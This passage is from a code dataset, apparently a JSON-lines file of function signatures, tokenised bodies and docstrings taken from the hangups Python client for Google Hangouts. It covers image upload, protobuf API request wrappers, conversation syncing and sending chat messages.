hangouts_pb2.SetActiveClientRequest(<EOL>request_header=self.get_request_header(),<EOL>is_active=True,<EOL>full_jid=\"<STR_LIT>\".format(self._email, self._client_id),<EOL>timeout_secs=ACTIVE_TIMEOUT_SECS,<EOL>)<EOL>await self.set_active_client(set_active_request)<EOL><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'.format(e))<EOL><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>'<EOL>.format(ACTIVE_TIMEOUT_SECS))<EOL><DEDENT><DEDENT>", "docstring": "Set this client as active.\n\n        While a client is active, no other clients will raise notifications.\n        Call this method whenever there is an indication the user is\n        interacting with this client. This method may be called very\n        frequently, and it will only make a request when necessary.", "id": "f10019:c0:m5"}
{"signature": "async def upload_image(self, image_file, filename=None, *,<EOL>return_uploaded_image=False):", "body": "image_filename = filename or os.path.basename(image_file.name)<EOL>image_data = image_file.read()<EOL>res = await self._base_request(<EOL>IMAGE_UPLOAD_URL,<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>json.dumps({<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": [{<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:name>\": \"<STR_LIT:file>\",<EOL>\"<STR_LIT:filename>\": image_filename,<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT:size>\": len(image_data)<EOL>}<EOL>}]<EOL>}<EOL>})<EOL>)<EOL>try:<EOL><INDENT>upload_url = self._get_upload_session_status(res)[<EOL>'<STR_LIT>'<EOL>][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT:url>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise exceptions.NetworkError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>res = await self._base_request(<EOL>upload_url, '<STR_LIT>', '<STR_LIT>', image_data<EOL>)<EOL>try:<EOL><INDENT>raw_info = (<EOL>self._get_upload_session_status(res)['<STR_LIT>']<EOL>['<STR_LIT>']<EOL>['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>image_id = raw_info['<STR_LIT>']<EOL>url = raw_info['<STR_LIT:url>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise exceptions.NetworkError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>result = UploadedImage(image_id=image_id, url=url)<EOL>return result if return_uploaded_image else result.image_id<EOL>", "docstring": "Upload an image that can be later attached to a chat message.\n\n        Args:\n            image_file: A file-like object containing an image.\n            filename (str): (optional) Custom name for the uploaded file.\n            return_uploaded_image (bool): (optional) If True, return\n                :class:`.UploadedImage` instead of image ID. Defaults to False.\n\n        Raises:\n            hangups.NetworkError: If the upload request failed.\n\n        Returns:\n            :class:`.UploadedImage` instance, or ID of the uploaded image.", "id": "f10019:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _get_upload_session_status(res):<DEDENT>", "body": "response = json.loads(res.body.decode())<EOL>if '<STR_LIT>' not in response:<EOL><INDENT>try:<EOL><INDENT>info = (<EOL>response['<STR_LIT>']['<STR_LIT>']<EOL>['<STR_LIT>']<EOL>['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>reason = '<STR_LIT>'.format(info['<STR_LIT:status>'], info['<STR_LIT:message>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>reason = '<STR_LIT>'<EOL><DEDENT>raise exceptions.NetworkError('<STR_LIT>'.format(<EOL>reason<EOL>))<EOL><DEDENT>return response['<STR_LIT>']<EOL>", "docstring": "Parse the image upload response to obtain status.\n\n        Args:\n            res: http_utils.FetchResponse instance, the upload response\n\n        Returns:\n            dict, sessionStatus of the response\n\n        Raises:\n            hangups.NetworkError: If the upload request failed.", "id": "f10019:c0:m7"}
{"signature": "async def _on_receive_array(self, array):", "body": "if array[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>pass  <EOL><DEDENT>else:<EOL><INDENT>wrapper = json.loads(array[<NUM_LIT:0>]['<STR_LIT:p>'])<EOL>if '<STR_LIT:3>' in wrapper:<EOL><INDENT>self._client_id = wrapper['<STR_LIT:3>']['<STR_LIT:2>']<EOL>logger.info('<STR_LIT>', self._client_id)<EOL>await self._add_channel_services()<EOL><DEDENT>if '<STR_LIT:2>' in wrapper:<EOL><INDENT>pblite_message = json.loads(wrapper['<STR_LIT:2>']['<STR_LIT:2>'])<EOL>if pblite_message[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>batch_update = hangouts_pb2.BatchUpdate()<EOL>pblite.decode(batch_update, pblite_message,<EOL>ignore_first_item=True)<EOL>for state_update in batch_update.state_update:<EOL><INDENT>logger.debug('<STR_LIT>', state_update)<EOL>header = state_update.state_update_header<EOL>self._active_client_state = header.active_client_state<EOL>await self.on_state_update.fire(state_update)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>', pblite_message[<NUM_LIT:0>])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parse channel array and call the appropriate events.", "id": "f10019:c0:m8"}
{"signature": "async def _add_channel_services(self):", "body": "logger.info('<STR_LIT>')<EOL>services = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>map_list = [<EOL>dict(p=json.dumps({\"<STR_LIT:3>\": {\"<STR_LIT:1>\": {\"<STR_LIT:1>\": service}}}))<EOL>for service in services<EOL>]<EOL>await self._channel.send_maps(map_list)<EOL>logger.info('<STR_LIT>')<EOL>", "docstring": "Add services to the channel.\n\n        The services we add to the channel determine what kind of data we will\n        receive on it.\n\n        The \"babel\" service includes what we need for Hangouts. If this fails\n        for some reason, hangups will never receive any events. The\n        \"babel_presence_last_seen\" service is also required to receive presence\n        notifications.\n\n        This needs to be re-called whenever we open a new channel (when there's\n        a new SID and client_id.", "id": "f10019:c0:m9"}
{"signature": "async def _pb_request(self, endpoint, request_pb, response_pb):", "body": "logger.debug('<STR_LIT>', endpoint,<EOL>request_pb)<EOL>res = await self._base_request(<EOL>'<STR_LIT>'.format(endpoint),<EOL>'<STR_LIT>',  <EOL>'<STR_LIT>',  <EOL>request_pb.SerializeToString()<EOL>)<EOL>try:<EOL><INDENT>response_pb.ParseFromString(base64.b64decode(res.body))<EOL><DEDENT>except binascii.Error as e:<EOL><INDENT>raise exceptions.NetworkError(<EOL>'<STR_LIT>'.format(e)<EOL>)<EOL><DEDENT>except google.protobuf.message.DecodeError as e:<EOL><INDENT>raise exceptions.NetworkError(<EOL>'<STR_LIT>'.format(e)<EOL>)<EOL><DEDENT>logger.debug('<STR_LIT>', response_pb)<EOL>status = response_pb.response_header.status<EOL>if status != hangouts_pb2.RESPONSE_STATUS_OK:<EOL><INDENT>description = response_pb.response_header.error_description<EOL>raise exceptions.NetworkError(<EOL>'<STR_LIT>'<EOL>.format(status, description)<EOL>)<EOL><DEDENT>", "docstring": "Send a Protocol Buffer formatted chat API request.\n\n        Args:\n            endpoint (str): The chat API endpoint to use.\n            request_pb: The request body as a Protocol Buffer message.\n            response_pb: The response body as a Protocol Buffer message.\n\n        Raises:\n            NetworkError: If the request fails.", "id": "f10019:c0:m10"}
{"signature": "async def _base_request(self, url, content_type, response_type, data):", "body": "headers = {<EOL>'<STR_LIT>': content_type,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>params = {<EOL>'<STR_LIT>': response_type,<EOL>'<STR_LIT:key>': API_KEY,<EOL>}<EOL>res = await self._session.fetch(<EOL>'<STR_LIT>', url, headers=headers, params=params, data=data,<EOL>)<EOL>return res<EOL>", "docstring": "Send a generic authenticated POST request.\n\n        Args:\n            url (str): URL of request.\n            content_type (str): Request content type.\n            response_type (str): The desired response format. Valid options\n                are: 'json' (JSON), 'protojson' (pblite), and 'proto' (binary\n                Protocol Buffer). 'proto' requires manually setting an extra\n                header 'X-Goog-Encode-Response-If-Executable: base64'.\n            data (str): Request body data.\n\n        Returns:\n            FetchResponse: Response containing HTTP code, cookies, and body.\n\n        Raises:\n            NetworkError: If the request fails.", "id": "f10019:c0:m11"}
{"signature": "async def add_user(self, add_user_request):", "body": "response = hangouts_pb2.AddUserResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>add_user_request, response)<EOL>return response<EOL>", "docstring": "Invite users to join an existing group conversation.", "id": "f10019:c0:m12"}
{"signature": "async def create_conversation(self, create_conversation_request):", "body": "response = hangouts_pb2.CreateConversationResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>create_conversation_request, response)<EOL>return response<EOL>", "docstring": "Create a new conversation.", "id": "f10019:c0:m13"}
{"signature": "async def delete_conversation(self, delete_conversation_request):", "body": "response = hangouts_pb2.DeleteConversationResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>delete_conversation_request, response)<EOL>return response<EOL>", "docstring": "Leave a one-to-one conversation.\n\n        One-to-one conversations are \"sticky\"; they can't actually be deleted.\n        This API clears the event history of the specified conversation up to\n        ``delete_upper_bound_timestamp``, hiding it if no events remain.", "id": "f10019:c0:m14"}
{"signature": "async def easter_egg(self, easter_egg_request):", "body": "response = hangouts_pb2.EasterEggResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>easter_egg_request, response)<EOL>return response<EOL>", "docstring": "Send an easter egg event to a conversation.", "id": "f10019:c0:m15"}
{"signature": "async def get_conversation(self, get_conversation_request):", "body": "response = hangouts_pb2.GetConversationResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>get_conversation_request, response)<EOL>return response<EOL>", "docstring": "Return conversation info and recent events.", "id": "f10019:c0:m16"}
{"signature": "async def get_entity_by_id(self, get_entity_by_id_request):", "body": "response = hangouts_pb2.GetEntityByIdResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>get_entity_by_id_request, response)<EOL>return response<EOL>", "docstring": "Return one or more user entities.\n\n        Searching by phone number only finds entities when their phone number\n        is in your contacts (and not always even then), and can't be used to\n        find Google Voice contacts.", "id": "f10019:c0:m17"}
{"signature": "async def get_group_conversation_url(self,<EOL>get_group_conversation_url_request):", "body": "response = hangouts_pb2.GetGroupConversationUrlResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>get_group_conversation_url_request,<EOL>response)<EOL>return response<EOL>", "docstring": "Get URL to allow others to join a group conversation.", "id": "f10019:c0:m18"}
{"signature": "async def get_self_info(self, get_self_info_request):", "body": "response = hangouts_pb2.GetSelfInfoResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>get_self_info_request, response)<EOL>return response<EOL>", "docstring": "Return info about the current user.", "id": "f10019:c0:m19"}
{"signature": "async def get_suggested_entities(self, get_suggested_entities_request):", "body": "response = hangouts_pb2.GetSuggestedEntitiesResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>get_suggested_entities_request, response)<EOL>return response<EOL>", "docstring": "Return suggested contacts.", "id": "f10019:c0:m20"}
{"signature": "async def query_presence(self, query_presence_request):", "body": "response = hangouts_pb2.QueryPresenceResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>query_presence_request, response)<EOL>return response<EOL>", "docstring": "Return presence status for a list of users.", "id": "f10019:c0:m21"}
{"signature": "async def remove_user(self, remove_user_request):", "body": "response = hangouts_pb2.RemoveUserResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>remove_user_request, response)<EOL>return response<EOL>", "docstring": "Remove a participant from a group conversation.", "id": "f10019:c0:m22"}
{"signature": "async def rename_conversation(self, rename_conversation_request):", "body": "response = hangouts_pb2.RenameConversationResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>rename_conversation_request, response)<EOL>return response<EOL>", "docstring": "Rename a conversation.\n\n        Both group and one-to-one conversations may be renamed, but the\n        official Hangouts clients have mixed support for one-to-one\n        conversations with custom names.", "id": "f10019:c0:m23"}
{"signature": "async def search_entities(self, search_entities_request):", "body": "response = hangouts_pb2.SearchEntitiesResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>search_entities_request, response)<EOL>return response<EOL>", "docstring": "Return user entities based on a query.", "id": "f10019:c0:m24"}
{"signature": "async def send_chat_message(self, send_chat_message_request):", "body": "response = hangouts_pb2.SendChatMessageResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>send_chat_message_request, response)<EOL>return response<EOL>", "docstring": "Send a chat message to a conversation.", "id": "f10019:c0:m25"}
{"signature": "async def modify_otr_status(self, modify_otr_status_request):", "body": "response = hangouts_pb2.ModifyOTRStatusResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>modify_otr_status_request, response)<EOL>return response<EOL>", "docstring": "Enable or disable message history in a conversation.", "id": "f10019:c0:m26"}
{"signature": "async def send_offnetwork_invitation(<EOL>self, send_offnetwork_invitation_request<EOL>):", "body": "response = hangouts_pb2.SendOffnetworkInvitationResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>send_offnetwork_invitation_request,<EOL>response)<EOL>return response<EOL>", "docstring": "Send an email to invite a non-Google contact to Hangouts.", "id": "f10019:c0:m27"}
{"signature": "async def set_active_client(self, set_active_client_request):", "body": "response = hangouts_pb2.SetActiveClientResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>set_active_client_request, response)<EOL>return response<EOL>", "docstring": "Set the active client.", "id": "f10019:c0:m28"}
{"signature": "async def set_conversation_notification_level(<EOL>self, set_conversation_notification_level_request<EOL>):", "body": "response = hangouts_pb2.SetConversationNotificationLevelResponse()<EOL>await self._pb_request(<EOL>'<STR_LIT>',<EOL>set_conversation_notification_level_request, response<EOL>)<EOL>return response<EOL>", "docstring": "Set the notification level of a conversation.", "id": "f10019:c0:m29"}
{"signature": "async def set_focus(self, set_focus_request):", "body": "response = hangouts_pb2.SetFocusResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>set_focus_request, response)<EOL>return response<EOL>", "docstring": "Set focus to a conversation.", "id": "f10019:c0:m30"}
{"signature": "async def set_group_link_sharing_enabled(<EOL>self, set_group_link_sharing_enabled_request<EOL>):", "body": "response = hangouts_pb2.SetGroupLinkSharingEnabledResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>set_group_link_sharing_enabled_request,<EOL>response)<EOL>return response<EOL>", "docstring": "Set whether group link sharing is enabled for a conversation.", "id": "f10019:c0:m31"}
{"signature": "async def set_presence(self, set_presence_request):", "body": "response = hangouts_pb2.SetPresenceResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>set_presence_request, response)<EOL>return response<EOL>", "docstring": "Set the presence status.", "id": "f10019:c0:m32"}
{"signature": "async def set_typing(self, set_typing_request):", "body": "response = hangouts_pb2.SetTypingResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>set_typing_request, response)<EOL>return response<EOL>", "docstring": "Set the typing status of a conversation.", "id": "f10019:c0:m33"}
{"signature": "async def sync_all_new_events(self, sync_all_new_events_request):", "body": "response = hangouts_pb2.SyncAllNewEventsResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>sync_all_new_events_request, response)<EOL>return response<EOL>", "docstring": "List all events occurring at or after a timestamp.", "id": "f10019:c0:m34"}
{"signature": "async def sync_recent_conversations(<EOL>self, sync_recent_conversations_request<EOL>):", "body": "response = hangouts_pb2.SyncRecentConversationsResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>sync_recent_conversations_request,<EOL>response)<EOL>return response<EOL>", "docstring": "Return info on recent conversations and their events.", "id": "f10019:c0:m35"}
{"signature": "async def update_watermark(self, update_watermark_request):", "body": "response = hangouts_pb2.UpdateWatermarkResponse()<EOL>await self._pb_request('<STR_LIT>',<EOL>update_watermark_request, response)<EOL>return response<EOL>", "docstring": "Update the watermark (read timestamp) of a conversation.", "id": "f10019:c0:m36"}
{"signature": "async def build_user_conversation_list(client):", "body": "conv_states, sync_timestamp = await _sync_all_conversations(client)<EOL>required_user_ids = set()<EOL>for conv_state in conv_states:<EOL><INDENT>required_user_ids |= {<EOL>user.UserID(chat_id=part.id.chat_id, gaia_id=part.id.gaia_id)<EOL>for part in conv_state.conversation.participant_data<EOL>}<EOL><DEDENT>required_entities = []<EOL>if required_user_ids:<EOL><INDENT>logger.debug('<STR_LIT>'<EOL>.format(required_user_ids))<EOL>try:<EOL><INDENT>response = await client.get_entity_by_id(<EOL>hangouts_pb2.GetEntityByIdRequest(<EOL>request_header=client.get_request_header(),<EOL>batch_lookup_spec=[<EOL>hangouts_pb2.EntityLookupSpec(<EOL>gaia_id=user_id.gaia_id,<EOL>create_offnetwork_gaia=True,<EOL>)<EOL>for user_id in required_user_ids<EOL>],<EOL>)<EOL>)<EOL>for entity_result in response.entity_result:<EOL><INDENT>required_entities.extend(entity_result.entity)<EOL><DEDENT><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'.format(e))<EOL><DEDENT><DEDENT>conv_part_list = []<EOL>for conv_state in conv_states:<EOL><INDENT>conv_part_list.extend(conv_state.conversation.participant_data)<EOL><DEDENT>get_self_info_response = await client.get_self_info(<EOL>hangouts_pb2.GetSelfInfoRequest(<EOL>request_header=client.get_request_header(),<EOL>)<EOL>)<EOL>self_entity = get_self_info_response.self_entity<EOL>user_list = user.UserList(client, self_entity, required_entities,<EOL>conv_part_list)<EOL>conversation_list = ConversationList(client, conv_states,<EOL>user_list, sync_timestamp)<EOL>return (user_list, conversation_list)<EOL>", "docstring": "Build :class:`.UserList` and :class:`.ConversationList`.\n\n    This method requests data necessary to build the list of conversations and\n    users. Users that are not in the contact list but are participating in a\n    conversation will also be retrieved.\n\n    Args:\n        client (Client): Connected client.\n\n    Returns:\n        (:class:`.UserList`, :class:`.ConversationList`):\n            Tuple of built objects.", "id": "f10020:m0"}
{"signature": "async def _sync_all_conversations(client):", "body": "conv_states = []<EOL>sync_timestamp = None<EOL>request = hangouts_pb2.SyncRecentConversationsRequest(<EOL>request_header=client.get_request_header(),<EOL>max_conversations=CONVERSATIONS_PER_REQUEST,<EOL>max_events_per_conversation=<NUM_LIT:1>,<EOL>sync_filter=[<EOL>hangouts_pb2.SYNC_FILTER_INBOX,<EOL>hangouts_pb2.SYNC_FILTER_ARCHIVED,<EOL>]<EOL>)<EOL>for _ in range(MAX_CONVERSATION_PAGES):<EOL><INDENT>logger.info(<EOL>'<STR_LIT>', request.last_event_timestamp<EOL>)<EOL>response = await client.sync_recent_conversations(request)<EOL>conv_states = list(response.conversation_state) + conv_states<EOL>sync_timestamp = parsers.from_timestamp(<EOL>response.response_header.current_server_time<EOL>)<EOL>if response.continuation_end_timestamp == <NUM_LIT:0>:<EOL><INDENT>logger.info('<STR_LIT>')<EOL>break<EOL><DEDENT>else:<EOL><INDENT>request.last_event_timestamp = response.continuation_end_timestamp<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>')<EOL><DEDENT>logger.info('<STR_LIT>', len(conv_states))<EOL>return conv_states, sync_timestamp<EOL>", "docstring": "Sync all conversations by making paginated requests.\n\n    Conversations are ordered by ascending sort timestamp.\n\n    Args:\n        client (Client): Connected client.\n\n    Raises:\n        NetworkError: If the requests fail.\n\n    Returns:\n        tuple of list of ``ConversationState`` messages and sync timestamp", "id": "f10020:m1"}
{"signature": "@property<EOL><INDENT>def id_(self):<DEDENT>", "body": "return self._conversation.conversation_id.id<EOL>", "docstring": "The conversation's ID (:class:`str`).", "id": "f10020:c0:m1"}
{"signature": "@property<EOL><INDENT>def users(self):<DEDENT>", "body": "return [self._user_list.get_user(user.UserID(chat_id=part.id.chat_id,<EOL>gaia_id=part.id.gaia_id))<EOL>for part in self._conversation.participant_data]<EOL>", "docstring": "List of conversation participants (:class:`~hangups.user.User`).", "id": "f10020:c0:m2"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "custom_name = self._conversation.name<EOL>return None if custom_name == '<STR_LIT>' else custom_name<EOL>", "docstring": "The conversation's custom name (:class:`str`)\n\n        May be ``None`` if conversation has no custom name.", "id": "f10020:c0:m3"}
{"signature": "@property<EOL><INDENT>def last_modified(self):<DEDENT>", "body": "timestamp = self._conversation.self_conversation_state.sort_timestamp<EOL>if timestamp is None:<EOL><INDENT>timestamp = <NUM_LIT:0><EOL><DEDENT>return parsers.from_timestamp(timestamp)<EOL>", "docstring": "When conversation was last modified (:class:`datetime.datetime`).", "id": "f10020:c0:m4"}
{"signature": "@property<EOL><INDENT>def events(self):<DEDENT>", "body": "return list(self._events)<EOL>", "docstring": "Loaded events sorted oldest to newest.\n\n        (list of :class:`.ConversationEvent`).", "id": "f10020:c0:m6"}
{"signature": "@property<EOL><INDENT>def watermarks(self):<DEDENT>", "body": "return self._watermarks.copy()<EOL>", "docstring": "Participant watermarks.\n\n        (dict of :class:`.UserID`, :class:`datetime.datetime`).", "id": "f10020:c0:m7"}
{"signature": "@property<EOL><INDENT>def unread_events(self):<DEDENT>", "body": "return [conv_event for conv_event in self._events<EOL>if conv_event.timestamp > self.latest_read_timestamp]<EOL>", "docstring": "Loaded events which are unread sorted oldest to newest.\n\n        Some Hangouts clients don't update the read timestamp for certain event\n        types, such as membership changes, so this may return more unread\n        events than these clients will show. There's also a delay between\n        sending a message and the user's own message being considered read.\n\n        (list of :class:`.ConversationEvent`).", "id": "f10020:c0:m8"}
{"signature": "@property<EOL><INDENT>def is_archived(self):<DEDENT>", "body": "return (hangouts_pb2.CONVERSATION_VIEW_ARCHIVED in<EOL>self._conversation.self_conversation_state.view)<EOL>", "docstring": "``True`` if this conversation has been archived.", "id": "f10020:c0:m9"}
{"signature": "@property<EOL><INDENT>def is_quiet(self):<DEDENT>", "body": "level = self._conversation.self_conversation_state.notification_level<EOL>return level == hangouts_pb2.NOTIFICATION_LEVEL_QUIET<EOL>", "docstring": "``True`` if notification level for this conversation is quiet.", "id": "f10020:c0:m10"}
{"signature": "@property<EOL><INDENT>def is_off_the_record(self):<DEDENT>", "body": "status = self._conversation.otr_status<EOL>return status == hangouts_pb2.OFF_THE_RECORD_STATUS_OFF_THE_RECORD<EOL>", "docstring": "``True`` if conversation is off the record (history is disabled).", "id": "f10020:c0:m11"}
{"signature": "def _on_watermark_notification(self, notif):", "body": "<EOL>if self.get_user(notif.user_id).is_self:<EOL><INDENT>logger.info('<STR_LIT>'<EOL>.format(self.id_, notif.read_timestamp))<EOL>self_conversation_state = (<EOL>self._conversation.self_conversation_state<EOL>)<EOL>self_conversation_state.self_read_state.latest_read_timestamp = (<EOL>parsers.to_timestamp(notif.read_timestamp)<EOL>)<EOL><DEDENT>previous_timestamp = self._watermarks.get(<EOL>notif.user_id,<EOL>datetime.datetime.min.replace(tzinfo=datetime.timezone.utc)<EOL>)<EOL>if notif.read_timestamp > previous_timestamp:<EOL><INDENT>logger.info(('<STR_LIT>' +<EOL>'<STR_LIT>').format(self.id_,<EOL>notif.user_id.chat_id,<EOL>notif.read_timestamp))<EOL>self._watermarks[notif.user_id] = notif.read_timestamp<EOL><DEDENT>", "docstring": "Handle a watermark notification.", "id": "f10020:c0:m12"}
{"signature": "def update_conversation(self, conversation):", "body": "<EOL>new_state = conversation.self_conversation_state<EOL>old_state = self._conversation.self_conversation_state<EOL>self._conversation = conversation<EOL>if not new_state.delivery_medium_option:<EOL><INDENT>new_state.delivery_medium_option.extend(<EOL>old_state.delivery_medium_option<EOL>)<EOL><DEDENT>old_timestamp = old_state.self_read_state.latest_read_timestamp<EOL>new_timestamp = new_state.self_read_state.latest_read_timestamp<EOL>if new_timestamp == <NUM_LIT:0>:<EOL><INDENT>new_state.self_read_state.latest_read_timestamp = old_timestamp<EOL><DEDENT>for new_entry in conversation.read_state:<EOL><INDENT>tstamp = parsers.from_timestamp(new_entry.latest_read_timestamp)<EOL>if tstamp == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>uid = parsers.from_participantid(new_entry.participant_id)<EOL>if uid not in self._watermarks or self._watermarks[uid] < tstamp:<EOL><INDENT>self._watermarks[uid] = tstamp<EOL><DEDENT><DEDENT>", "docstring": "Update the internal state of the conversation.\n\n        This method is used by :class:`.ConversationList` to maintain this\n        instance.\n\n        Args:\n            conversation: ``Conversation`` message.", "id": "f10020:c0:m13"}
{"signature": "@staticmethod<EOL><INDENT>def _wrap_event(event_):<DEDENT>", "body": "cls = conversation_event.ConversationEvent<EOL>if event_.HasField('<STR_LIT>'):<EOL><INDENT>cls = conversation_event.ChatMessageEvent<EOL><DEDENT>elif event_.HasField('<STR_LIT>'):<EOL><INDENT>cls = conversation_event.OTREvent<EOL><DEDENT>elif event_.HasField('<STR_LIT>'):<EOL><INDENT>cls = conversation_event.RenameEvent<EOL><DEDENT>elif event_.HasField('<STR_LIT>'):<EOL><INDENT>cls = conversation_event.MembershipChangeEvent<EOL><DEDENT>elif event_.HasField('<STR_LIT>'):<EOL><INDENT>cls = conversation_event.HangoutEvent<EOL><DEDENT>elif event_.HasField('<STR_LIT>'):<EOL><INDENT>cls = conversation_event.GroupLinkSharingModificationEvent<EOL><DEDENT>return cls(event_)<EOL>", "docstring": "Wrap hangouts_pb2.Event in ConversationEvent subclass.", "id": "f10020:c0:m14"}
{"signature": "def add_event(self, event_):", "body": "conv_event = self._wrap_event(event_)<EOL>if conv_event.id_ not in self._events_dict:<EOL><INDENT>self._events.append(conv_event)<EOL>self._events_dict[conv_event.id_] = conv_event<EOL><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>',<EOL>self.id_, conv_event.id_)<EOL>return None<EOL><DEDENT>return conv_event<EOL>", "docstring": "Add an event to the conversation.\n\n        This method is used by :class:`.ConversationList` to maintain this\n        instance.\n\n        Args:\n            event_: ``Event`` message.\n\n        Returns:\n            :class:`.ConversationEvent` representing the event.", "id": "f10020:c0:m15"}
{"signature": "def get_user(self, user_id):", "body": "return self._user_list.get_user(user_id)<EOL>", "docstring": "Get user by its ID.\n\n        Args:\n            user_id (~hangups.user.UserID): ID of user to return.\n\n        Raises:\n            KeyError: If the user ID is not found.\n\n        Returns:\n            :class:`~hangups.user.User` with matching ID.", "id": "f10020:c0:m16"}
{"signature": "def _get_default_delivery_medium(self):", "body": "medium_options = (<EOL>self._conversation.self_conversation_state.delivery_medium_option<EOL>)<EOL>try:<EOL><INDENT>default_medium = medium_options[<NUM_LIT:0>].delivery_medium<EOL><DEDENT>except IndexError:<EOL><INDENT>logger.warning('<STR_LIT>', self.id_)<EOL>default_medium = hangouts_pb2.DeliveryMedium(<EOL>medium_type=hangouts_pb2.DELIVERY_MEDIUM_BABEL<EOL>)<EOL><DEDENT>for medium_option in medium_options:<EOL><INDENT>if medium_option.current_default:<EOL><INDENT>default_medium = medium_option.delivery_medium<EOL><DEDENT><DEDENT>return default_medium<EOL>", "docstring": "Return default DeliveryMedium to use for sending messages.\n\n        Use the first option, or an option that's marked as the current\n        default.", "id": "f10020:c0:m17"}
{"signature": "def _get_event_request_header(self):", "body": "otr_status = (hangouts_pb2.OFF_THE_RECORD_STATUS_OFF_THE_RECORD<EOL>if self.is_off_the_record else<EOL>hangouts_pb2.OFF_THE_RECORD_STATUS_ON_THE_RECORD)<EOL>return hangouts_pb2.EventRequestHeader(<EOL>conversation_id=hangouts_pb2.ConversationId(id=self.id_),<EOL>client_generated_id=self._client.get_client_generated_id(),<EOL>expected_otr=otr_status,<EOL>delivery_medium=self._get_default_delivery_medium(),<EOL>)<EOL>", "docstring": "Return EventRequestHeader for conversation.", "id": "f10020:c0:m18"}
{"signature": "async def send_message(self, segments, image_file=None, image_id=None,<EOL>image_user_id=None):", "body": "async with self._send_message_lock:<EOL><INDENT>if image_file:<EOL><INDENT>try:<EOL><INDENT>uploaded_image = await self._client.upload_image(<EOL>image_file, return_uploaded_image=True<EOL>)<EOL><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'.format(e))<EOL>raise<EOL><DEDENT>image_id = uploaded_image.image_id<EOL><DEDENT>try:<EOL><INDENT>request = hangouts_pb2.SendChatMessageRequest(<EOL>request_header=self._client.get_request_header(),<EOL>event_request_header=self._get_event_request_header(),<EOL>message_content=hangouts_pb2.MessageContent(<EOL>segment=[seg.serialize() for seg in segments],<EOL>),<EOL>)<EOL>if image_id is not None:<EOL><INDENT>request.existing_media.photo.photo_id = image_id<EOL><DEDENT>if image_user_id is not None:<EOL><INDENT>request.existing_media.photo.user_id = image_user_id<EOL>request.existing_media.photo.is_custom_user_id = True<EOL><DEDENT>await self._client.send_chat_message(request)<EOL><DEDENT>except exceptions.NetworkError as e:<EOL><INDENT>logger.warning('<STR_LIT>'.format(e))<EOL>raise<EOL><DEDENT><DEDENT>", "docstring": "Send a message to this conversation.\n\n        A per-conversation lock is acquired to ensure that messages are sent in\n        the correct order when this method is called multiple times\n        asynchronously.\n\n        Args:\n            segments: List of :class:`.ChatMessageSegment` objects to include\n                in the message.\n            image_file: (optional) File-like object containing an image to be\n                attached to the message.\n            image_id: (optional) ID of an Picasa photo to be attached to the\n                message. If you specify both ``image_file`` and ``image_id``\n                together, ``image_file`` takes precedence and ``image_id`` will\n                be ignored.\n            image_user_id: (optional) Picasa user ID, required only if\n                ``image_id`` refers to an image from a different Picasa user,\n                such as Google's sticker user.\n\n        Raises:\n            .NetworkError: If the message cannot be sent.", "id": "f10020:c0:m19"}
